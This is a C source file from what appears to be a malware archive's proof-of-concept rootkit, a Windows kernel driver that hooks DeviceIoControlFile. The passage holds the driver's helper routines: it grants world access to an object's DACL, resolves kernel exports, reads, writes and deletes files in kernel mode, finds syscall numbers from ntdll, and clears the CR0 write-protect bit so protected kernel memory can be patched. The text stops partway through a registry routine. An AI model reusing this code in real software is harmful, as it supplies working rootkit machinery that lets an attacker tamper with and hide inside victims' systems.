MalwareSourceCode/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/common.c
vxunderground 900263ea6f updates and moves
n/a
2022-04-11 20:00:13 -05:00

1496 lines
44 KiB
C

#include "stdafx.h"
//--------------------------------------------------------------------------------------
#ifndef _NTIFS_INCLUDED_
typedef struct _ACE_HEADER
{
UCHAR AceType;
UCHAR AceFlags;
USHORT AceSize;
} ACE_HEADER;
typedef ACE_HEADER *PACE_HEADER;
typedef struct _ACCESS_ALLOWED_ACE
{
ACE_HEADER Header;
ACCESS_MASK Mask;
ULONG SidStart;
} ACCESS_ALLOWED_ACE;
typedef struct _SID
{
UCHAR Revision;
UCHAR SubAuthorityCount;
SID_IDENTIFIER_AUTHORITY IdentifierAuthority;
ULONG SubAuthority[ANYSIZE_ARRAY];
} SID, *PISID;
#endif
BOOLEAN SetObjectSecurityWorld(HANDLE hObject, ACCESS_MASK AccessMask)
{
BOOLEAN bRet = FALSE;
PSECURITY_DESCRIPTOR Descr = NULL;
ULONG SdLength = 0;
// query security descriptor length
NTSTATUS ns = ZwQuerySecurityObject(hObject, DACL_SECURITY_INFORMATION, NULL, 0, &SdLength);
if (ns != STATUS_BUFFER_TOO_SMALL)
{
DbgMsg(__FILE__, __LINE__, "ZwQuerySecurityObject() fails; status: 0x%.8x\n", ns);
return FALSE;
}
// allocate memory for security descriptor
Descr = (PSECURITY_DESCRIPTOR)M_ALLOC(SdLength);
if (Descr)
{
// query security descriptor
ns = ZwQuerySecurityObject(hObject, DACL_SECURITY_INFORMATION, Descr, SdLength, &SdLength);
if (NT_SUCCESS(ns))
{
BOOLEAN DaclPresent = FALSE, DaclDefaulted = FALSE;
PACL OldDacl = NULL;
// get descriptor's DACL
ns = RtlGetDaclSecurityDescriptor(
Descr,
&DaclPresent,
&OldDacl,
&DaclDefaulted
);
if (NT_SUCCESS(ns))
{
#define SID_REVISION (1) // Current revision level
#define SECURITY_WORLD_SID_AUTHORITY {0,0,0,0,0,1}
#define SECURITY_WORLD_RID (0x00000000L)
SID Sid;
SID_IDENTIFIER_AUTHORITY SidAuth = SECURITY_WORLD_SID_AUTHORITY;
RtlZeroMemory(&Sid, sizeof(Sid));
// initialize SID
Sid.Revision = SID_REVISION;
Sid.SubAuthorityCount = 1;
Sid.IdentifierAuthority = SidAuth;
Sid.SubAuthority[0] = SECURITY_WORLD_RID;
if (RtlValidSid(&Sid))
{
PACL NewDacl = NULL;
// calculate new DACL size
ULONG NewDaclSize = sizeof(ACCESS_ALLOWED_ACE) + RtlLengthSid(&Sid);
if (DaclPresent && OldDacl)
{
NewDaclSize += OldDacl->AclSize;
}
// allocate new DACL
NewDacl = (PACL)M_ALLOC(NewDaclSize);
if (NewDacl)
{
// copy current DACL
RtlCopyMemory(NewDacl, OldDacl, OldDacl->AclSize);
NewDacl->AclSize = (USHORT)NewDaclSize;
ns = RtlAddAccessAllowedAce(NewDacl, ACL_REVISION, AccessMask, &Sid);
if (NT_SUCCESS(ns))
{
ns = RtlSelfRelativeToAbsoluteSD2(Descr, &SdLength);
if (NT_SUCCESS(ns))
{
// update descriptor's DACL
ns = RtlSetDaclSecurityDescriptor(Descr, TRUE, NewDacl, DaclDefaulted);
if (NT_SUCCESS(ns))
{
// set new security descriptor
ns = ZwSetSecurityObject(hObject, DACL_SECURITY_INFORMATION, Descr);
if (NT_SUCCESS(ns))
{
bRet = TRUE;
}
else
{
DbgMsg(__FILE__, __LINE__, "ZwSetSecurityObject() fails; status: 0x%.8x\n", ns);
}
}
else
{
DbgMsg(__FILE__, __LINE__, "RtlSetDaclSecurityDescriptor() fails; status: 0x%.8x\n", ns);
}
}
else
{
DbgMsg(__FILE__, __LINE__, "RtlSelfRelativeToAbsoluteSD2() fails; status: 0x%.8x\n", ns);
}
}
else
{
DbgMsg(__FILE__, __LINE__, "RtlAddAccessAllowedAce() fails; status: 0x%.8x\n", ns);
}
M_FREE(NewDacl);
}
else
{
DbgMsg(__FILE__, __LINE__, "ExAllocatePool() fails\n");
}
}
}
else
{
DbgMsg(__FILE__, __LINE__, "RtlGetDaclSecurityDescriptor() fails; status: 0x%.8x\n", ns);
}
}
else
{
DbgMsg(__FILE__, __LINE__, "ZwQuerySecurityObject() fails; status: 0x%.8x\n", ns);
}
M_FREE(Descr);
}
else
{
DbgMsg(__FILE__, __LINE__, "ExAllocatePool() fails\n");
}
return bRet;
}
//--------------------------------------------------------------------------------------
PVOID KernelGetModuleBase(char *ModuleName)
{
PVOID pModuleBase = NULL;
wchar_t *wcHalNames[] =
{
L"hal.dll", // Non-ACPI PIC HAL
L"halacpi.dll", // ACPI PIC HAL
L"halapic.dll", // Non-ACPI APIC UP HAL
L"halmps.dll", // Non-ACPI APIC MP HAL
L"halaacpi.dll", // ACPI APIC UP HAL
L"halmacpi.dll" // ACPI APIC MP HAL
};
#define HAL_NAMES_NUM 6
#define NT_NAMES_NUM 4
wchar_t *wcNtNames[] =
{
L"ntoskrnl.exe", // UP
L"ntkrnlpa.exe", // UP PAE
L"ntkrnlmp.exe", // MP
L"ntkrpamp.exe" // MP PAE
};
UNICODE_STRING usCommonHalName, usCommonNtName;
PRTL_PROCESS_MODULES Info = NULL;
RtlInitUnicodeString(&usCommonHalName, L"hal.dll");
RtlInitUnicodeString(&usCommonNtName, L"ntoskrnl.exe");
Info = (PRTL_PROCESS_MODULES)GetSysInf(SystemModuleInformation);
if (Info)
{
NTSTATUS ns = STATUS_UNSUCCESSFUL;
ANSI_STRING asModuleName;
UNICODE_STRING usModuleName;
RtlInitAnsiString(&asModuleName, ModuleName);
ns = RtlAnsiStringToUnicodeString(&usModuleName, &asModuleName, TRUE);
if (NT_SUCCESS(ns))
{
ULONG i = 0;
for (i = 0; i < Info->NumberOfModules; i++)
{
NTSTATUS ns = STATUS_UNSUCCESSFUL;
ANSI_STRING asEnumModuleName;
UNICODE_STRING usEnumModuleName;
RtlInitAnsiString(
&asEnumModuleName,
(char *)Info->Modules[i].FullPathName + Info->Modules[i].OffsetToFileName
);
ns = RtlAnsiStringToUnicodeString(&usEnumModuleName, &asEnumModuleName, TRUE);
if (NT_SUCCESS(ns))
{
if (RtlEqualUnicodeString(&usModuleName, &usCommonHalName, TRUE))
{
int i_m = 0;
// hal.dll passed as module name
for (i_m = 0; i_m < HAL_NAMES_NUM; i_m++)
{
UNICODE_STRING usHalName;
RtlInitUnicodeString(&usHalName, wcHalNames[i_m]);
// compare module name from list with known HAL module name
if (RtlEqualUnicodeString(&usEnumModuleName, &usHalName, TRUE))
{
pModuleBase = (PVOID)Info->Modules[i].ImageBase;
break;
}
}
}
else if (RtlEqualUnicodeString(&usModuleName, &usCommonNtName, TRUE))
{
int i_m = 0;
// ntoskrnl.exe passed as module name
for (i_m = 0; i_m < NT_NAMES_NUM; i_m++)
{
UNICODE_STRING usNtName;
RtlInitUnicodeString(&usNtName, wcNtNames[i_m]);
// compare module name from list with known kernel module name
if (RtlEqualUnicodeString(&usEnumModuleName, &usNtName, TRUE))
{
pModuleBase = (PVOID)Info->Modules[i].ImageBase;
break;
}
}
}
else if (RtlEqualUnicodeString(&usModuleName, &usEnumModuleName, TRUE))
{
pModuleBase = (PVOID)Info->Modules[i].ImageBase;
}
RtlFreeUnicodeString(&usEnumModuleName);
if (pModuleBase)
{
// module is found
break;
}
}
}
RtlFreeUnicodeString(&usModuleName);
}
ExFreePool(Info);
}
return pModuleBase;
}
//--------------------------------------------------------------------------------------
ULONG KernelGetExportAddress(PVOID Image, char *lpszFunctionName)
{
__try
{
PIMAGE_EXPORT_DIRECTORY pExport = NULL;
PIMAGE_NT_HEADERS32 pHeaders32 = (PIMAGE_NT_HEADERS32)
((PUCHAR)Image + ((PIMAGE_DOS_HEADER)Image)->e_lfanew);
if (pHeaders32->FileHeader.Machine == IMAGE_FILE_MACHINE_I386)
{
// 32-bit image
if (pHeaders32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress)
{
pExport = (PIMAGE_EXPORT_DIRECTORY)RVATOVA(
Image,
pHeaders32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress
);
}
}
else if (pHeaders32->FileHeader.Machine == IMAGE_FILE_MACHINE_AMD64)
{
// 64-bit image
PIMAGE_NT_HEADERS64 pHeaders64 = (PIMAGE_NT_HEADERS64)
((PUCHAR)Image + ((PIMAGE_DOS_HEADER)Image)->e_lfanew);
if (pHeaders64->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress)
{
pExport = (PIMAGE_EXPORT_DIRECTORY)RVATOVA(
Image,
pHeaders64->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress
);
}
}
else
{
DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: Unkown machine type\n");
return 0;
}
if (pExport)
{
PULONG AddressOfFunctions = (PULONG)RVATOVA(Image, pExport->AddressOfFunctions);
PSHORT AddrOfOrdinals = (PSHORT)RVATOVA(Image, pExport->AddressOfNameOrdinals);
PULONG AddressOfNames = (PULONG)RVATOVA(Image, pExport->AddressOfNames);
ULONG i = 0;
for (i = 0; i < pExport->NumberOfFunctions; i++)
{
if (!strcmp((char *)RVATOVA(Image, AddressOfNames[i]), lpszFunctionName))
{
return AddressOfFunctions[AddrOfOrdinals[i]];
}
}
}
else
{
DbgMsg(__FILE__, __LINE__, "WARNING: Export directory not found\n");
}
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
DbgMsg(__FILE__, __LINE__, __FUNCTION__"() EXCEPTION\n");
}
return 0;
}
//--------------------------------------------------------------------------------------
POBJECT_NAME_INFORMATION GetObjectName(PVOID pObject)
{
ULONG BuffSize = 0x100;
POBJECT_NAME_INFORMATION ObjNameInfo;
NTSTATUS ns = STATUS_UNSUCCESSFUL;
while (TRUE)
{
if ((ObjNameInfo = (POBJECT_NAME_INFORMATION)ExAllocatePool(NonPagedPool, BuffSize)) == NULL)
return FALSE;
ns = ObQueryNameString(pObject, ObjNameInfo, BuffSize, &BuffSize);
if (ns == STATUS_INFO_LENGTH_MISMATCH)
{
ExFreePool(ObjNameInfo);
BuffSize += 0x100;
}
else
break;
}
if (NT_SUCCESS(ns))
{
return ObjNameInfo;
}
if (ObjNameInfo)
ExFreePool(ObjNameInfo);
return NULL;
}
//--------------------------------------------------------------------------------------
// get object name by its handle
POBJECT_NAME_INFORMATION GetObjectNameByHandle(HANDLE hObject)
{
PVOID pObject;
NTSTATUS ns;
POBJECT_NAME_INFORMATION ObjNameInfo = NULL;
ns = ObReferenceObjectByHandle(hObject, 0, 0, KernelMode, &pObject, NULL);
if (NT_SUCCESS(ns))
{
ObjNameInfo = GetObjectName(pObject);
ObDereferenceObject(pObject);
}
else
DbgMsg(__FILE__, __LINE__, "ObReferenceObjectByHandle() fails; status: 0x%.8x\n", ns);
return ObjNameInfo;
}
//--------------------------------------------------------------------------------------
POBJECT_NAME_INFORMATION GetFullNtPath(PUNICODE_STRING Name)
{
NTSTATUS ns;
OBJECT_ATTRIBUTES ObjAttr;
HANDLE hFile;
IO_STATUS_BLOCK StatusBlock;
POBJECT_NAME_INFORMATION ObjNameInf;
InitializeObjectAttributes(&ObjAttr, Name, OBJ_KERNEL_HANDLE | OBJ_CASE_INSENSITIVE , NULL, NULL);
ns = ZwOpenFile(
&hFile,
FILE_READ_DATA | SYNCHRONIZE,
&ObjAttr,
&StatusBlock,
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
FILE_SYNCHRONOUS_IO_NONALERT
);
if (!NT_SUCCESS(ns))
{
return NULL;
}
ObjNameInf = GetObjectNameByHandle(hFile);
ZwClose(hFile);
return ObjNameInf;
}
//--------------------------------------------------------------------------------------
BOOLEAN GetNormalizedModulePath(PANSI_STRING asPath, PANSI_STRING asNormalizedPath)
{
NTSTATUS ns = STATUS_UNSUCCESSFUL;
BOOLEAN bRet = FALSE;
ANSI_STRING asFullPath;
UNICODE_STRING usPath;
char *lpszWnd = "\\WINDOWS\\", *lpszNt = "\\WINNT\\", *lpszLetter = "\\SystemRoot\\";
char *lpszDrivers = "system32\\drivers\\";
if (!strncmp(asPath->Buffer, lpszWnd, min(strlen(lpszWnd), asPath->Length)) ||
!strncmp(asPath->Buffer, lpszNt, min(strlen(lpszNt), asPath->Length)))
{
ULONG Ptr = 0;
ULONG FullPathLen = 0;
char *lpszFullPath = NULL;
if (!strncmp(asPath->Buffer, lpszWnd, strlen(lpszWnd)))
{
Ptr = (ULONG)strlen(lpszWnd);
}
else if (!strncmp(asPath->Buffer, lpszNt, strlen(lpszNt)))
{
Ptr = (ULONG)strlen(lpszNt);
}
FullPathLen = asPath->Length - Ptr + strlen(lpszLetter) + 1;
lpszFullPath = (char *)ExAllocatePool(NonPagedPool, FullPathLen);
if (lpszFullPath)
{
RtlZeroMemory(lpszFullPath, FullPathLen);
strcpy(lpszFullPath, lpszLetter);
strncat(lpszFullPath, asPath->Buffer + Ptr, asPath->Length);
RtlInitAnsiString(&asFullPath, lpszFullPath);
}
else
{
DbgMsg(__FILE__, __LINE__, "ExAllocatePool() fails\n");
return FALSE;
}
}
else
{
asFullPath.Buffer = asPath->Buffer;
asFullPath.Length = asPath->Length;
asFullPath.MaximumLength = asPath->MaximumLength;
}
ns = RtlAnsiStringToUnicodeString(&usPath, &asFullPath, TRUE);
if (NT_SUCCESS(ns))
{
POBJECT_NAME_INFORMATION ObjName = GetFullNtPath(&usPath);
if (ObjName)
{
NTSTATUS ns = RtlUnicodeStringToAnsiString(asNormalizedPath, &ObjName->Name, TRUE);
if (NT_SUCCESS(ns))
{
bRet = TRUE;
}
else
{
DbgMsg(__FILE__, __LINE__, "RtlUnicodeStringToAnsiString() fails; status: 0x%.8x\n", ns);
}
ExFreePool(ObjName);
}
RtlFreeUnicodeString(&usPath);
}
else
{
DbgMsg(__FILE__, __LINE__, "RtlAnsiStringToUnicodeString() fails; status: 0x%.8x\n", ns);
}
if (!bRet)
{
ULONG Offset = 0;
ULONG i = 0;
for (i = 0; i < asFullPath.Length; i++)
{
if (asFullPath.Buffer[i] == '\\')
{
Offset = i + 1;
}
}
if (Offset == 0)
{
ULONG FullPathLen = asFullPath.Length + strlen(lpszLetter) + strlen(lpszDrivers) + 1;
char *lpszFullPath = (char *)ExAllocatePool(NonPagedPool, FullPathLen);
if (lpszFullPath)
{
RtlZeroMemory(lpszFullPath, FullPathLen);
strcpy(lpszFullPath, lpszLetter);
strcat(lpszFullPath, lpszDrivers);
strncat(lpszFullPath, asFullPath.Buffer, asFullPath.Length);
if (asFullPath.Buffer != asPath->Buffer)
{
RtlFreeAnsiString(&asFullPath);
}
RtlInitAnsiString(&asFullPath, lpszFullPath);
ns = RtlAnsiStringToUnicodeString(&usPath, &asFullPath, TRUE);
if (NT_SUCCESS(ns))
{
POBJECT_NAME_INFORMATION ObjName = GetFullNtPath(&usPath);
if (ObjName)
{
ns = RtlUnicodeStringToAnsiString(asNormalizedPath, &ObjName->Name, TRUE);
if (NT_SUCCESS(ns))
{
bRet = TRUE;
}
else
{
DbgMsg(__FILE__, __LINE__, "RtlUnicodeStringToAnsiString() fails; status: 0x%.8x\n", ns);
}
ExFreePool(ObjName);
}
RtlFreeUnicodeString(&usPath);
}
else
{
DbgMsg(__FILE__, __LINE__, "RtlAnsiStringToUnicodeString() fails; status: 0x%.8x\n", ns);
}
}
else
{
DbgMsg(__FILE__, __LINE__, "ExAllocatePool() fails\n");
}
}
}
if (asFullPath.Buffer != asPath->Buffer)
{
RtlFreeAnsiString(&asFullPath);
}
return bRet;
}
//--------------------------------------------------------------------------------------
PVOID GetSysInf(SYSTEM_INFORMATION_CLASS InfoClass)
{
NTSTATUS ns;
ULONG RetSize, Size = 0x100;
PVOID Info;
while (TRUE)
{
if ((Info = ExAllocatePool(NonPagedPool, Size)) == NULL)
{
DbgMsg(__FILE__, __LINE__, "ExAllocatePool() fails\n");
return NULL;
}
RetSize = 0;
ns = ZwQuerySystemInformation(InfoClass, Info, Size, &RetSize);
if (ns == STATUS_INFO_LENGTH_MISMATCH)
{
ExFreePool(Info);
Info = NULL;
if (RetSize > 0)
{
Size = RetSize + 0x100;
}
else
break;
}
else
break;
}
if (!NT_SUCCESS(ns))
{
DbgMsg(__FILE__, __LINE__, "ZwQuerySystemInformation() fails; status: 0x%.8x\n", ns);
if (Info)
ExFreePool(Info);
return NULL;
}
return Info;
}
//--------------------------------------------------------------------------------------
BOOLEAN AllocUnicodeString(PUNICODE_STRING us, USHORT MaximumLength)
{
ULONG ulMaximumLength = MaximumLength;
if (MaximumLength > 0)
{
if ((us->Buffer = (PWSTR)ExAllocatePool(NonPagedPool, ulMaximumLength)) == NULL)
return FALSE;
RtlZeroMemory(us->Buffer, ulMaximumLength);
us->Length = 0;
us->MaximumLength = MaximumLength;
return TRUE;
}
return FALSE;
}
//--------------------------------------------------------------------------------------
BOOLEAN AppendUnicodeToString(PUNICODE_STRING Dest, PCWSTR Source, USHORT Len)
{
ULONG ulLen = Len;
if (Dest->MaximumLength >= Dest->Length + Len)
{
RtlCopyMemory((PUCHAR)Dest->Buffer + Dest->Length, Source, ulLen);
Dest->Length += Len;
return TRUE;
}
return FALSE;
}
//--------------------------------------------------------------------------------------
ULONG GetFileSize(HANDLE hFile, PULONG FileSizeHigh)
{
FILE_STANDARD_INFORMATION FileStandard;
IO_STATUS_BLOCK IoStatusBlock;
NTSTATUS ns = ZwQueryInformationFile(
hFile,
&IoStatusBlock,
&FileStandard,
sizeof(FILE_STANDARD_INFORMATION),
FileStandardInformation
);
if (!NT_SUCCESS(ns))
{
DbgMsg(__FILE__, __LINE__, "ZwQueryInformationFile() fails; status: 0x%.8x\n", ns);
return -1;
}
if (FileSizeHigh != NULL)
*FileSizeHigh = FileStandard.EndOfFile.u.HighPart;
return FileStandard.EndOfFile.u.LowPart;
}
//--------------------------------------------------------------------------------------
BOOLEAN ReadFromFile(PUNICODE_STRING FileName, PVOID *Data, PULONG DataSize)
{
BOOLEAN bRet = FALSE;
NTSTATUS ns;
OBJECT_ATTRIBUTES ObjAttr;
HANDLE hFile;
IO_STATUS_BLOCK StatusBlock;
*Data = NULL;
*DataSize = 0;
InitializeObjectAttributes(&ObjAttr, FileName,
OBJ_KERNEL_HANDLE | OBJ_CASE_INSENSITIVE , NULL, NULL);
ns = ZwOpenFile(
&hFile,
FILE_READ_DATA | SYNCHRONIZE,
&ObjAttr,
&StatusBlock,
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
FILE_SYNCHRONOUS_IO_NONALERT
);
if (NT_SUCCESS(ns))
{
ULONG FileSize = GetFileSize(hFile, NULL);
if (FileSize > 0)
{
PVOID FileData = ExAllocatePool(NonPagedPool, FileSize);
if (FileData)
{
RtlZeroMemory(FileData, FileSize);
ns = ZwReadFile(hFile, 0, NULL, NULL, &StatusBlock, FileData, FileSize, 0, NULL);
if (NT_SUCCESS(ns))
{
bRet = TRUE;
*Data = FileData;
*DataSize = FileSize;
}
else
{
DbgMsg(__FILE__, __LINE__, "ZwReadFile() fails; status: 0x%.8x\n", ns);
ExFreePool(FileData);
}
}
else
{
DbgMsg(__FILE__, __LINE__, "ExAllocatePool() fails\n");
}
}
ZwClose(hFile);
}
return bRet;
}
//--------------------------------------------------------------------------------------
BOOLEAN DumpToFile(PUNICODE_STRING FileName, PVOID Data, ULONG DataSize)
{
BOOLEAN bRet = FALSE;
NTSTATUS ns;
OBJECT_ATTRIBUTES ObjAttr;
HANDLE hFile;
IO_STATUS_BLOCK StatusBlock;
InitializeObjectAttributes(&ObjAttr, FileName,
OBJ_KERNEL_HANDLE | OBJ_CASE_INSENSITIVE , NULL, NULL);
ns = ZwCreateFile(
&hFile,
FILE_ALL_ACCESS | SYNCHRONIZE,
&ObjAttr,
&StatusBlock,
NULL,
FILE_ATTRIBUTE_NORMAL,
0,
FILE_OVERWRITE_IF,
FILE_SYNCHRONOUS_IO_NONALERT,
NULL,
0
);
if (NT_SUCCESS(ns))
{
ns = ZwWriteFile(hFile, NULL, NULL, NULL, &StatusBlock, Data, DataSize, NULL, NULL);
if (NT_SUCCESS(ns))
{
bRet = TRUE;
}
else
{
DbgMsg(__FILE__, __LINE__, "ZwWriteFile() fails; status: 0x%.8x\n", ns);
}
ZwClose(hFile);
}
return bRet;
}
//--------------------------------------------------------------------------------------
BOOLEAN DeleteFile(PUNICODE_STRING usFileName)
{
BOOLEAN bRet = FALSE;
OBJECT_ATTRIBUTES ObjAttr;
IO_STATUS_BLOCK IoStatusBlock;
HANDLE FileHandle;
NTSTATUS ns = STATUS_UNSUCCESSFUL;
DbgMsg(__FILE__, __LINE__, __FUNCTION__"(): '%wZ'\n", usFileName);
InitializeObjectAttributes(&ObjAttr, usFileName, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);
// open file
ns = ZwCreateFile(
&FileHandle,
DELETE,
&ObjAttr,
&IoStatusBlock,
NULL,
FILE_ATTRIBUTE_NORMAL,
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
FILE_OPEN,
FILE_NON_DIRECTORY_FILE,
NULL,
0
);
if (NT_SUCCESS(ns))
{
FILE_BASIC_INFORMATION FileBsicInfo;
FILE_DISPOSITION_INFORMATION FileDispInfo;
ns = ZwQueryInformationFile(
FileHandle,
&IoStatusBlock,
&FileBsicInfo,
sizeof(FileBsicInfo),
FileBasicInformation
);
if (NT_SUCCESS(ns))
{
// chenge file attributes to normal
FileBsicInfo.FileAttributes = FILE_ATTRIBUTE_NORMAL;
ns = ZwSetInformationFile(
FileHandle,
&IoStatusBlock,
&FileBsicInfo,
sizeof(FileBsicInfo),
FileBasicInformation
);
if (!NT_SUCCESS(ns))
{
DbgMsg(__FILE__, __LINE__, "ZwSetInformationFile() fails; status: 0x%.8x\n", ns);
}
}
else
{
DbgMsg(__FILE__, __LINE__, "ZwQueryInformationFile() fails; status: 0x%.8x\n", ns);
}
FileDispInfo.DeleteFile = TRUE;
// ... and delete it
ns = ZwSetInformationFile(
FileHandle,
&IoStatusBlock,
&FileDispInfo,
sizeof(FILE_DISPOSITION_INFORMATION),
FileDispositionInformation
);
if (!NT_SUCCESS(ns))
{
DbgMsg(__FILE__, __LINE__, "ZwSetInformationFile() fails; status: 0x%.8x\n", ns);
}
else
bRet = TRUE;
ZwClose(FileHandle);
}
else
{
DbgMsg(__FILE__, __LINE__, "ZwCreateFile() fails; status: 0x%.8x\n", ns);
}
return bRet;
}
//--------------------------------------------------------------------------------------
BOOLEAN LoadImageAsDataFile(PUNICODE_STRING usName, PVOID *Image, PULONG MappedImageSize)
{
PVOID Data = NULL;
ULONG DataSize = 0;
if (ReadFromFile(usName, &Data, &DataSize))
{
PIMAGE_NT_HEADERS32 pHeaders32 = (PIMAGE_NT_HEADERS32)
((PUCHAR)Data + ((PIMAGE_DOS_HEADER)Data)->e_lfanew);
PIMAGE_SECTION_HEADER pSection = NULL;
ULONG ImageSize = 0, HeadersSize = 0, NumberOfSections = 0;
if (pHeaders32->FileHeader.Machine == IMAGE_FILE_MACHINE_I386)
{
// 32-bit image
pSection = (PIMAGE_SECTION_HEADER)
(pHeaders32->FileHeader.SizeOfOptionalHeader +
(PUCHAR)&pHeaders32->OptionalHeader);
ImageSize = pHeaders32->OptionalHeader.SizeOfImage;
HeadersSize = pHeaders32->OptionalHeader.SizeOfHeaders;
NumberOfSections = pHeaders32->FileHeader.NumberOfSections;
}
else if (pHeaders32->FileHeader.Machine == IMAGE_FILE_MACHINE_AMD64)
{
// 64-bit image
PIMAGE_NT_HEADERS64 pHeaders64 = (PIMAGE_NT_HEADERS64)
((PUCHAR)Data + ((PIMAGE_DOS_HEADER)Data)->e_lfanew);
pSection = (PIMAGE_SECTION_HEADER)
(pHeaders64->FileHeader.SizeOfOptionalHeader +
(PUCHAR)&pHeaders64->OptionalHeader);
ImageSize = pHeaders64->OptionalHeader.SizeOfImage;
HeadersSize = pHeaders64->OptionalHeader.SizeOfHeaders;
NumberOfSections = pHeaders64->FileHeader.NumberOfSections;
}
else
{
DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: Unkown machine type\n");
ExFreePool(Data);
return FALSE;
}
if (*Image = ExAllocatePool(NonPagedPool, ImageSize))
{
ULONG i = 0;
// copy headers
RtlCopyMemory(*Image, Data, HeadersSize);
// copy sections
for (i = 0; i < NumberOfSections; i++)
{
RtlCopyMemory(
(PUCHAR)*Image + pSection->VirtualAddress,
(PUCHAR)Data + pSection->PointerToRawData,
min(pSection->SizeOfRawData, pSection->Misc.VirtualSize)
);
pSection++;
}
*MappedImageSize = ImageSize;
return TRUE;
}
else
{
DbgMsg(__FILE__, __LINE__, "ExAllocatePool() ERROR\n");
}
ExFreePool(Data);
}
return FALSE;
}
VOID WPOFFx64()
{
UINT64 cr0 = __readcr0();
cr0 &= 0xfffffffffffeffff;
__writecr0(cr0);
}
VOID WPONx64()
{
UINT64 cr0 = __readcr0();
cr0 |= 0x10000;
__writecr0(cr0);
}
//--------------------------------------------------------------------------------------
#ifdef WP_STUFF
void __stdcall ClearWp(PVOID Param)
{
#ifdef _X86_
__asm
{
mov eax,cr0
and eax,not 000010000h
mov cr0,eax
}
#else
// clear wp-bit in cr0 register
WPOFFx64();
#endif // _X_86_
}
//--------------------------------------------------------------------------------------
void __stdcall SetWp(PVOID Param)
{
#ifdef _X86_
__asm
{
mov eax,cr0
or eax,000010000h
mov cr0,eax
}
#else
// set wp-bit in cr0 register
//_set_wp();
WPONx64();
#endif // _X_86_
}
#endif // WP_STUFF
//--------------------------------------------------------------------------------------
typedef struct _PROCESSOR_THREAD_PARAM
{
KAFFINITY Mask;
PKSTART_ROUTINE Routine;
PVOID Param;
} PROCESSOR_THREAD_PARAM,
*PPROCESSOR_THREAD_PARAM;
void NTAPI ProcessorThread(PVOID Param)
{
PPROCESSOR_THREAD_PARAM ThreadParam = (PPROCESSOR_THREAD_PARAM)Param;
// bind thread to specific processor
KeSetSystemAffinityThread(ThreadParam->Mask);
// execute payload on this processor
ThreadParam->Routine(ThreadParam->Param);
}
void ForEachProcessor(PKSTART_ROUTINE Routine, PVOID Param)
{
NTSTATUS ns = STATUS_UNSUCCESSFUL;
KAFFINITY ActiveProcessors = 0;
KAFFINITY i = 0;
if (KeGetCurrentIrql() > PASSIVE_LEVEL)
{
DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: Invalid IRQL (Must be =PASSIVE_LEVEL)\n");
return;
}
// get bitmask of active processors
ActiveProcessors = KeQueryActiveProcessors();
for (i = 0; i < sizeof(KAFFINITY) * 8; i++)
{
KAFFINITY Mask = (KAFFINITY)(1 << i);
// check if this processor bit present in mask
if (ActiveProcessors & Mask)
{
HANDLE hThread;
PROCESSOR_THREAD_PARAM ThreadParam;
ThreadParam.Mask = Mask;
ThreadParam.Param = Param;
ThreadParam.Routine = Routine;
// create thread for this processor
ns = PsCreateSystemThread(
&hThread,
THREAD_ALL_ACCESS,
NULL, NULL, NULL,
ProcessorThread,
&ThreadParam
);
if (NT_SUCCESS(ns))
{
PVOID Thread;
// get pointer to thread object
ns = ObReferenceObjectByHandle(
hThread,
THREAD_ALL_ACCESS,
NULL,
KernelMode,
&Thread,
NULL
);
if (NT_SUCCESS(ns))
{
// waiting for thread termination
KeWaitForSingleObject(Thread, Executive, KernelMode, FALSE, NULL);
ObDereferenceObject(Thread);
}
else
{
DbgMsg(__FILE__, __LINE__, "ObReferenceObjectByHandle() fails; status: 0x%.8x\n", ns);
}
ZwClose(hThread);
}
else
{
DbgMsg(__FILE__, __LINE__, "PsCreateSystemThread() fails; status: 0x%.8x\n", ns);
}
}
}
}
//--------------------------------------------------------------------------------------
ULONG GetSyscallNumber(char *lpszName)
{
// get base address of ntdll.dll, that mapped into the system process
PVOID NtdllBase = KernelGetModuleBase("ntdll.dll");
if (NtdllBase)
{
// get function addres by name hash
ULONG FuncRva = KernelGetExportAddress(NtdllBase, lpszName);
if (FuncRva)
{
PUCHAR Func = (PUCHAR)NtdllBase + FuncRva;
#ifdef _X86_
// check for mov eax,imm32
if (*Func == 0xB8)
{
// return imm32 argument (syscall numbr)
return *(PULONG)((PUCHAR)Func + 1);
}
#elif _AMD64_
// check for mov eax,imm32
if (*(Func + 3) == 0xB8)
{
// return imm32 argument (syscall numbr)
return *(PULONG)(Func + 4);
}
#endif
}
}
return -1;
}
//--------------------------------------------------------------------------------------
BOOLEAN RegQueryValueKey(HANDLE hKey, PWSTR lpwcName, ULONG Type, PVOID *Data, PULONG DataSize)
{
BOOLEAN bRet = FALSE;
PKEY_VALUE_FULL_INFORMATION ValueInformation = NULL;
ULONG ResultLen = 0;
UNICODE_STRING usValueName;
NTSTATUS ns = STATUS_UNSUCCESSFUL;
RtlInitUnicodeString(&usValueName, lpwcName);
if (Data && DataSize)
{
*Data = NULL;
*DataSize = 0;
}
// get required buffer size
ns = ZwQueryValueKey(
hKey,
&usValueName,
KeyValueFullInformation,
&ValueInformation,
0,
&ResultLen
);
if ((ns == STATUS_BUFFER_TOO_SMALL ||
ns == STATUS_BUFFER_OVERFLOW) && ResultLen > 0)
{
// allocate memory for key information
ValueInformation = (PKEY_VALUE_FULL_INFORMATION)M_ALLOC(ResultLen);
if (ValueInformation)
{
memset(ValueInformation, 0, ResultLen);
// query key information
ns = ZwQueryValueKey(
hKey,
&usValueName,
KeyValueFullInformation,
ValueInformation,
ResultLen,
&ResultLen
);
if (NT_SUCCESS(ns))
{
if (Type == REG_NONE || Type == ValueInformation->Type)
{
if (Data && DataSize)
{
// allocate memory for value data
